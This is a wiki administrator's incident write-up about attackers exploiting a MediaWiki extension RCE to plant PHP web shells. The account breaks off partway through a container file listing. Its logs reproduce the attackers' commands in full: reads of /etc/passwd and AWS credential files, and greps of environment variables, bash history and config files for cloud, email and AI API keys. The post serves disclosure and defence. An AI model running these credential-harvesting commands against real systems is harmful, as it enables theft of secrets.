An Update on the September 26th Incident
WARNINGThis post has yet to be revised, and may change in the future, given it could include errors in its current state.
This is a follow-up on what happened last week on the 26th of September (2026). If you are unaware, I suggest you read the Security Notice I posted on the 28th, as it describes any action required from you in case you have an Obby Wiki account. I will attempt to remain neutral during this post, but please do note my displeasure making this post.
To set up some context before the rest of this post, I, Wolfite, run the backend operations for the Obby Wiki, a relatively small (<200 users) wiki powered by MediaWiki (1.46). On the Obby Wiki, we used (used) an extension named External Data in order to fetch live statistics and database information from Roblox, which was used to display statistics, game passes, and badges on articles automatically, as well as servicing the large Cargo database, which we sometimes use to categorize articles by visits, likes/dislikes, favorites, etc.
The matter is, sometime around August or September of 2025, I installed External Data (the extension) for the express purpose of using it to fetch APIs, such as our edge endpoints. Unfortunately, what I did not realize at that time, is that External Data does a whole lot more than I wanted, and that functionality eventually resulted in the compromise of the OW app container on the 26th.
I am displeased with the situation and how it was handled, but I would like to recount it from my perspective nonetheless.
As a general note: The Obby Wiki is secure. I spent 8+ hours auditing what the attacker found and could've reached, and am confident that no persistent access was gained on the server, database, or anywhere.
To set a timeline:
Aug 14: Initial disclosure
What later became CVE-2026-100382 was published on the 14th of August, 2026, by SomeRandomDeveloper, who I believe is affiliated with Miraheze, but I'm not sure. Point is, the initial vulnerability was disclosed in secret. This vulnerability, that is now a CVE-10, allowed for a complete unauthenticated RCE on PHP's user (likely www-data).
Aug 15-22: Public patch
A fix was iterated and published, but only (from what I can tell) to master. I'm not going to comment on this.
Sep 25 @ 21:04: UTC
This was when the task was made public, and when I assume CVE-2026-100382 was published, publicly. I was not made aware, as weren't most people, or anyone I've seen. I believe, but do not know, that the WMF Security Team was responsible for the public disclosure of this CVE-10. I do wonder why it is that they did not ensure that anyone knew about it, as publishing a CVE-10 with repro steps attached is effectively broadcasting the vulnerability to attackers, while making no effort to tell the (now) victims. I don't want to go to into that, because I'm not entirely sure, but I do believe that deserves some scrutiny.
Sep 26 @ 00:14: UTC
Around 00:14: UTC, or roughly 3 hours and 10 minutes after the initial public disclosure, my container was compromised. The attackers, masked by 91.92.241.215 entered via a web-shell, first probing its existence with GET /Nx_pmgcr.php, which returned a 200 OK and 116 bytes.
Sep 26 @ 00:33:39: UTC
19 minutes later, the same TA returned again to probe for the web shell, but this time from 95.173.222.27.
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:39 +0000] "GET /Nx_pmgcr.php HTTP/1.1" 200 116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"Yes, I do believe this attack was automated.
Sep 26 @ 00:33:41: UTC
2 seconds later, the attacker begins probing for system information, beginning with commands whoami and id.
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:41 +0000] "GET /Nx_pmgcr.php?c=whoami HTTP/1.1" 200 136 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:42 +0000] "GET /Nx_pmgcr.php?c=id HTTP/1.1" 200 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"My best guess is that they used this information to plan their attack strategy. Or, the bot, at least, since I believe this was definitely automated.
Since the entrypoint was through the PHP-FPM process, they were running commands through www-data within the container, which is what whoami likely returned. That roughly correlates with how many bytes were returned.
It is worth noting that I am not a security analyst in any way, and I could be wrong about anything below.
As part of the identity probing, they also ran:
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:44 +0000] "GET /Nx_pmgcr.php?c=hostname+-f+2%3E%2Fdev%2Fnull+%7C%7C+hostname HTTP/1.1" 200 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"Sep 26 @ 00:33:48: UTC
4 seconds later, the bot had its task, and began attempting to find LocalSettings.php.
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:48 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-name+LocalSettings.php+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-5 HTTP/1.1" 200 363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"They began by searching for LocalSettings.php, even though it was properly mounted in a predictable place.
Next, they attempted to read the LocalSettings.php entry they found, but instead of finding my actual configurations, they read a random mock LocalSettings.php from a RelatedArticles test file. I do not believe this extension was even loaded at the time, it was just sitting there.
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:48 +0000] "GET /Nx_pmgcr.php?c=cat+%27%2Fvar%2Fwww%2Fhtml%2Fextensions%2FRelatedArticles%2Ftests%2Fselenium%2FLocalSettings.php%27 HTTP/1.1" 200 279 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"Sep 26 @ 00:33:49: UTC
In the same continuous effort, they began grepping for credentials immediately. Namely, KEY, SECRET, TOKEN, PASS, AWS, API, SMTP, MAIL, DB, MONGO, REDIS, and S3.
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:49 +0000] "GET /Nx_pmgcr.php?c=env+2%3E%2Fdev%2Fnull+%7C+grep+-iE+%27%28KEY%7CSECRET%7CTOKEN%7CPASS%7CAWS%7CAPI%7CSMTP%7CMAIL%7CDB%7CMONGO%7CREDIS%7CS3%29%27+%7C+head+-30 HTTP/1.1" 200 1164 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"You can see the amount of bytes in the response was 1164, which likely means they hit something. I assume this was my SMTP credentials, since I saw a request spike within the same hour on my SES dashboard. Luckily, no harm was caused, as I was able to pause my account and deactivate the user in time. The amount of emails sent was relatively low, which was likely an attempt to avoid detection, as they probably wanted to sell the key rather than abuse it.
A few more probing requests over the next few seconds:
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:50 +0000] "GET /Nx_pmgcr.php?c=cat+%2Fetc%2Fpasswd+2%3E%2Fdev%2Fnull+%7C+head+-30 HTTP/1.1" 200 967 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:51 +0000] "GET /Nx_pmgcr.php?c=cat+%2Froot%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull%3B+cat+%2Fhome%2F%2A%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull%3B+cat+~%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"I am surprised they didn't try more faster, but considering how little time between the disclosure and this attack there was, I am guessing that is because they rushed.
No more logs for 1 and a half minutes. I wasn't able to retain many logs, so this doesn't mean that there was no activity.
Sep 26 @ 00:35:20: UTC
Interestingly, the original attacker IP, 91.92.241.215, returns, probing the first web shell again:
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:20 +0000] "GET /Nx_pmgcr.php HTTP/1.1" 200 116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"They then immediately execute the rest of the task, just faster.
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:21 +0000] "GET /Nx_pmgcr.php?c=whoami HTTP/1.1" 200 136 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:23 +0000] "GET /Nx_pmgcr.php?c=id HTTP/1.1" 200 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:24 +0000] "GET /Nx_pmgcr.php?c=hostname+-f+2%3E%2Fdev%2Fnull+%7C%7C+hostname HTTP/1.1" 200 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"The usual whoami, id, etc.
They then make the exact same mistake by reading a random test mock LocalSettings.php, that's my attacker!
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:25 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-name+LocalSettings.php+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-5 HTTP/1.1" 200 363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:25 +0000] "GET /Nx_pmgcr.php?c=cat+%27%2Fvar%2Fwww%2Fhtml%2Fextensions%2FRelatedArticles%2Ftests%2Fselenium%2FLocalSettings.php%27 HTTP/1.1" 200 279 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"They scan for more credentials, with a slightly new method.
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:26 +0000] "GET /Nx_pmgcr.php?c=env+2%3E%2Fdev%2Fnull+%7C+grep+-iE+%27%28KEY%7CSECRET%7CTOKEN%7CPASS%7CAWS%7CAPI%7CSMTP%7CMAIL%7CDB%7CMONGO%7CREDIS%7CS3%29%27+%7C+head+-30 HTTP/1.1" 200 1164 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:28 +0000] "GET /Nx_pmgcr.php?c=cat+%2Fetc%2Fpasswd+2%3E%2Fdev%2Fnull+%7C+head+-30 HTTP/1.1" 200 967 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:28 +0000] "GET /Nx_pmgcr.php?c=cat+%2Froot%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull%3B+cat+%2Fhome%2F%2A%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull%3B+cat+~%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"1164 and 967 bytes read, so they likely hit something. The other was a miss.
Sep 26 @ 00:39:02: UTC
~3.5 minutes later they return with a refined script, running uname -a now. This time, their search is refined, and instead of hitting a random LocalSettings.php test mock, they hit the real thing! Congratulations!
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:39:08 +0000] "GET /Nx_pmgcr.php?c=cat+%27%2Fvar%2Fwww%2Fhtml%2FLocalSettings.php%27 HTTP/1.1" 200 38890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "91.92.241.215"There are no secrets in that file. They get 38890 bytes of cluttered configs.
They then grep for more credentials, checking for .env inside the container, which makes no sense to me. They receive nothing.
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:39:12 +0000] "GET /Nx_pmgcr.php?c=cat+%2Fvar%2Fwww%2Fhtml%2F.env+%2Fvar%2Fwww%2F.env+%2Fapp%2F.env+%2Fopt%2F.env+2%3E%2Fdev%2Fnull+%7C+head+-40 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "91.92.241.215"Correction: At this time, they also add STRIPE, SENDGRID, BREVO, and TWILIO to their search, with the search with head -20 instead of head -30, which hit credentials they already had. They also reread /etc/passwd.
Sep 26 @ 00:52:14: UTC
A little over 10 minutes later they return to use the same web shell via 95.173.222.27 again, but this time with an upgraded script!
This time they checked for docker-compose files, inside the container..? They also checked secrets within the bash history. And then docker-compose files, again, with the same command, seconds later. Second time's the charm? What if this container has containers.
Then, they specifically grep for AWS secrets, finding (probably) my SMTP credentials:
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:52:35 +0000] "GET /Nx_pmgcr.php?c=grep+-r+%27AKIA%27+%2Fvar%2Fwww%2F+%2Fopt%2F+%2Fapp%2F+%2Fhome%2F+%2Froot%2F+%2Fetc%2F+--include%3D%27%2A.php%27+--include%3D%27%2A.env%27+--include%3D%27%2A.yml%27+--include%3D%27%2A.yaml%27+--include%3D%27%2A.json%27+--include%3D%27%2A.conf%27+--include%3D%27%2A.cfg%27+--include%3D%27%2A.ini%27+--include%3D%27%2A.txt%27+--include%3D%27%2A.sh%27+--include%3D%27%2A.py%27+-l+2%3E%2Fdev%2Fnull+%7C+head+-20 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:00:52:38 +0000] "GET /Nx_pmgcr.php?c=grep+-rE+%27%28AKIA%5BA-Z0-9%5D%7B%7B16%7D%7D%7Caws_secret%7CAWS_SECRET%7Caws_access%7Cs3%5C.amazonaws%29%27+%2Fvar%2Fwww%2F+%2Fopt%2F+%2Fapp%2F+%2Fhome%2F+%2Froot%2F+--include%3D%27%2A.php%27+--include%3D%27%2A.env%27+--include%3D%27%2A.yml%27+--include%3D%27%2A.json%27+--include%3D%27%2A.conf%27+--include%3D%27%2A.py%27+2%3E%2Fdev%2Fnull+%7C+head+-20 HTTP/1.1" 200 713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "95.173.222.27"Greedy, unsurprisingly. They then continue with more credential grepping attempts, before leaving for 2 minutes.
Sep 26 @ 00:54:40: UTC
Welcome back!
Instead of testing the waters with whoami again, they immediately run for more secrets! This time, they tune their approach to include queries for AI API keys, such as OPENAI, ANTHROPIC, AZURE, GEMINI, CLAUDE, MISTRAL (really), HUGGING (for HuggingFace), and COHERE, which I don't recognize.
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:47 +0000] "GET /Nx_pmgcr.php?c=env+2%3E%2Fdev%2Fnull+%7C+grep+-iE+%27%28OPENAI%7CANTHROPIC%7CAZURE%7CGEMINI%7CCLAUDE%7CGPT%7CMISTRAL%7CCOHERE%7CHUGGING%7CHF_%29%27 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:49 +0000] "GET /Nx_pmgcr.php?c=grep+-rE+%27%28sk-%5Ba-zA-Z0-9%5D%7B20%2C%7D%7Csk-ant-%5Ba-zA-Z0-9-%5D%7B20%2C%7D%7Csk-proj-%5Ba-zA-Z0-9-%5D%7B20%2C%7D%29%27+%2Fvar%2Fwww%2F+%2Fopt%2F+%2Fapp%2F+%2Fhome%2F+%2Froot%2F+--include%3D%27%2A.php%27+--include%3D%27%2A.env%27+--include%3D%27%2A.yml%27+--include%3D%27%2A.yaml%27+--include%3D%27%2A.json%27+--include%3D%27%2A.conf%27+--include%3D%27%2A.py%27+--include%3D%27%2A.js%27+--include%3D%27%2A.ts%27+2%3E%2Fdev%2Fnull+%7C+head+-20 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"Over the next few seconds, they probe for more, and more, and more secrets. Eventually, they expand their greps to include a wider variety of keys, such as AZURE (again), GCP (Google Cloud), GOOGLE, DIGITALOCEAN, LINODE, VULTR (unfamiliar), HETZNER, then STRIPE, SENDGRID, MAILGUN, TWILIO. In the same query, they expand their search of AI keys to DEEPSEEK, GROQ (the inference company, I believe, not Grok), then REPLICATE and TOGETHER, which I am unfamiliar with.
Then, they repeat all these steps again, in the same order. For reference, this is what I'm going off of:
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:50 +0000] "GET /Nx_pmgcr.php?c=cat+%2Froot%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials+~%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:51 +0000] "GET /Nx_pmgcr.php?c=cat+%2Froot%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig+~%2F.aws%2Fconfig+2%3E%2Fdev%2Fnull HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:52 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-maxdepth+5+-name+%27docker-compose%2A%27+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-5 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:54 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-maxdepth+5+-name+%27.env%27+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-10 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:55 +0000] "GET /Nx_pmgcr.php?c=cat+%2Froot%2F.bash_history+%2Fhome%2F%2A%2F.bash_history+2%3E%2Fdev%2Fnull+%7C+grep+-iE+%27%28aws%7CAKIA%7Cs3%7Cses%7Cboto%7Copenai%7Canthropic%7Csk-ant%7Csk-proj%29%27+%7C+head+-10 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:55 +0000] "GET /Nx_pmgcr.php?c=cat+%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull+%7C+tr+%27%5C0%27+%27%5Cn%27+%7C+grep+-iE+%27%28AWS%7CAKIA%7CSECRET%7CS3%7COPENAI%7CANTHROPIC%7CAZURE%7Csk-%29%27+%7C+head+-10 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:56 +0000] "GET /Nx_pmgcr.php?c=cat+%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull+%7C+tr+%27%5C0%27+%27%5Cn%27+%7C+grep+-iE+%27%28AWS%7CAKIA%7CSECRET%7CS3%7COPENAI%7CANTHROPIC%7CAZURE%7Csk-%29%27+%7C+head+-10 HTTP/1.1" 200 761 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:57 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-maxdepth+5+-name+%27.env%27+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-10 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:58 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-maxdepth+5+-name+%27docker-compose%2A%27+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-5 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:59 +0000] "GET /Nx_pmgcr.php?c=grep+-r+%27AKIA%27+%2Fvar%2Fwww%2F+%2Fopt%2F+%2Fapp%2F+%2Fhome%2F+%2Froot%2F+%2Fetc%2F+--include%3D%27%2A.php%27+--include%3D%27%2A.env%27+--include%3D%27%2A.yml%27+--include%3D%27%2A.yaml%27+--include%3D%27%2A.json%27+--include%3D%27%2A.conf%27+--include%3D%27%2A.cfg%27+--include%3D%27%2A.ini%27+--include%3D%27%2A.txt%27+--include%3D%27%2A.sh%27+--include%3D%27%2A.py%27+-l+2%3E%2Fdev%2Fnull+%7C+head+-20 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:55:02 +0000] "GET /Nx_pmgcr.php?c=grep+-rE+%27%28AKIA%5BA-Z0-9%5D%7B%7B16%7D%7D%7Caws_secret%7CAWS_SECRET%7Caws_access%7Cs3%5C.amazonaws%7Csk-%5Ba-zA-Z0-9%5D%7B%7B20%2C%7D%7D%7Csk-ant-%7Csk-proj-%7CANTHROPIC_API%7COPENAI_API%7CAZURE_OPENAI%29%27+%2Fvar%2Fwww%2F+%2Fopt%2F+%2Fapp%2F+%2Fhome%2F+%2Froot%2F+--include%3D%27%2A.php%27+--include%3D%27%2A.env%27+--include%3D%27%2A.yml%27+--include%3D%27%2A.json%27+--include%3D%27%2A.conf%27+--include%3D%27%2A.py%27+--include%3D%27%2A.js%27+2%3E%2Fdev%2Fnull+%7C+head+-20 HTTP/1.1" 200 713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:55:03 +0000] "GET /Nx_pmgcr.php?c=env+2%3E%2Fdev%2Fnull+%7C+grep+-iE+%27%28AZURE%7CGCP%7CGOOGLE%7CDIGITALOCEAN%7CDO_%7CLINODE%7CVULTR%7CHETZNER%7COVH%7CSTRIPE%7CSENDGRID%7CMAILGUN%7CTWILIO%7COPENAI%7CANTHROPIC%7CCLAUDE%7CMISTRAL%7CCOHERE%7CHUGGING%7CGEMINI%7CDEEPSEEK%7CGROQ%7CREPLICATE%7CTOGETHER%29%27+%7C+head+-15 HTTP/1.1" 200 192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:55:04 +0000] "GET /Nx_pmgcr.php?c=find+%2Fvar%2Fwww+%2Fopt+%2Fapp+-maxdepth+4+%5C%28+-name+%27config.php%27+-o+-name+%27settings.php%27+-o+-name+%27database.php%27+-o+-name+%27mail.php%27+%5C%29+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-10 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"And then, finally, silence for my server, for ~7 minutes. Mind you, it has now only been 4 hours since the initial public disclosure, which I still had no idea about.
Sep 26 @ 01:02:01: UTC
A challenger! A new TA from 194.61.28.204 enters the ring, uploading a new web shell in the form of what I believe is a control panel. I am unable to verify this being a new TA 100%, but given that they are using both a different method and did not previously interact with any of the other TA's work, I am assuming this is a separate actor.
wiki_web | 194.61.28.204 - - [26/Sep/2026:01:02:01 +0000] "GET /7ye8oaju0ydn.php HTTP/1.1" 200 80095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:01:02:02 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:01:02:02 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 46987 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:01:08:13 +0000] "GET /7ye8oaju0ydn.php HTTP/1.1" 200 80095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:01:08:14 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 304 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:01:08:25 +0000] "GET /7ye8oaju0ydn.php HTTP/1.1" 200 80095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:01:08:26 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 304 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"These logs are not very revealing. They only show (from assumption) that this attacker prefers a web panel. They are also spoofing Chrome/128 as well, which is Interesting. I bet if you ask a certain LLM to spoof a consumer user agent, this is what comes out. Just a guess!
Sep 26 @ 01:14:37: UTC
The previous TA returns with another web-shell!
wiki_web | 91.92.241.215 - - [26/Sep/2026:01:14:37 +0000] "GET /Nx_3c1yb.php HTTP/1.1" 200 116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"And doesn't use it yet.
Sep 26 @ 01:29:42: UTC
They instead, upload another, via a new IP 124.108.50.136 (which was never seen again). This time, it goes completely unused. Talk about the environment; wasteful.
wiki_web | 124.108.50.136 - - [26/Sep/2026:01:29:42 +0000] "GET /Nx_s73ug.php HTTP/1.1" 200 116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "124.108.50.136"For reference, here is a look at the contents of the app container while I was investigating the vulnerability on the 27th.
docker compose exec app ls -latotal 2588drwxrwxrwt 15 www-data www-data 4096 Sep 26 01:29 .drwxr-xr-x 3 root root 4096 Sep 24 19:01 ..-rw-r--r-- 1 www-data www-data 9 Sep 26 01:01 .nxwmq9tug-rw-r--r-- 1 root root 7 Jul 10 23:26 .obbywiki-image-id-rw-r--r-- 1 www-data www-data 15206 Sep 26 01:02 7ye8oaju0ydn.php-rw-r--r-- 1 502 staff 168 Jun 26 05:58 CODE_OF_CONDUCT.md-rw-r--r-- 1 502 staff 19309 Jun 26 05:58 COPYING-rw-r--r-- 1 502 staff 17189 Jun 30 11:54 CREDITS-rw-r--r-- 1 502 staff 95 Jun 26 05:58 FAQ-rw-r--r-- 1 502 staff 1828649 Jun 30 11:54 HISTORY-rw-r--r-- 1 502 staff 3762 Jun 30 11:54 INSTALL-rw-r--r-- 1 root root 38784 Sep 27 03:31 LocalSettings.php-rw-r--r-- 1 www-data www-data 304 Sep 26 01:14 Nx_3c1yb.php-rw-r--r-- 1 www-data www-data 304 Sep 26 00:14 Nx_pmgcr.php-rw-r--r-- 1 www-data www-data 304 Sep 26 01:29 Nx_s73ug.php-rw-r--r-- 1 502 staff 1662 Jun 26 05:58 README.md-rw-r--r-- 1 502 staff 51201 Jun 30 11:54 RELEASE-NOTES-1.46-rw-r--r-- 1 502 staff 199 Jun 26 05:58 SECURITY-rw-r--r-- 1 502 staff 4394 Jun 26 05:58 UPGRADE-rw-r--r-- 1 502 staff 780 Jun 26 05:58 api.php-rw-r--r-- 1 502 staff 462554 Jun 30 11:54 autoload.php-rw-r--r-- 1 502 staff 3812 Jun 30 11:54 bundlesize.config.jsondrwxr-xr-x 2 www-data www-data 28672 Sep 27 03:31 cache-rw-r--r-- 1 502 staff 9001 Jun 30 11:54 composer.json-rw-r--r-- 1 502 staff 125 Jun 26 05:58 composer.local.json-sampledrwxr-xr-x 5 root root 4096 Jul 2 21:26 docsdrwxr-xr-x 96 www-data www-data 4096 Sep 22 09:33 extensionsdrwxr-xr-x 26 www-data www-data 4096 Sep 26 01:01 images-rw-r--r-- 1 502 staff 1509 Jun 26 05:58 img_auth.phpdrwxr-xr-x 100 root root 4096 Jul 2 21:26 includes-rw-r--r-- 1 502 staff 1482 Jun 26 05:58 index.php-rw-r--r-- 1 502 staff 1104 Jun 30 11:54 jsdoc.jsondrwxr-xr-x 5 root root 4096 Jul 2 21:26 languages-rw-r--r-- 1 502 staff 733 Jun 26 05:58 load.phpdrwxr-xr-x 7 root root 12288 Jul 2 21:26 maintenancedrwxr-xr-x 4 root root 4096 Jul 2 21:26 mw-config-rw-r--r-- 1 502 staff 1030 Jun 30 11:54 opensearch_desc.phpdrwxr-xr-x 6 root root 4096 Jul 2 21:26 resources-rw-r--r-- 1 502 staff 508 Jun 26 05:58 rest.phpdrwxr-xr-x 7 www-data www-data 4096 Jun 25 15:59 skinsdrwxr-xr-x 6 root root 4096 Jul 2 21:26 sqldrwxr-xr-x 11 root root 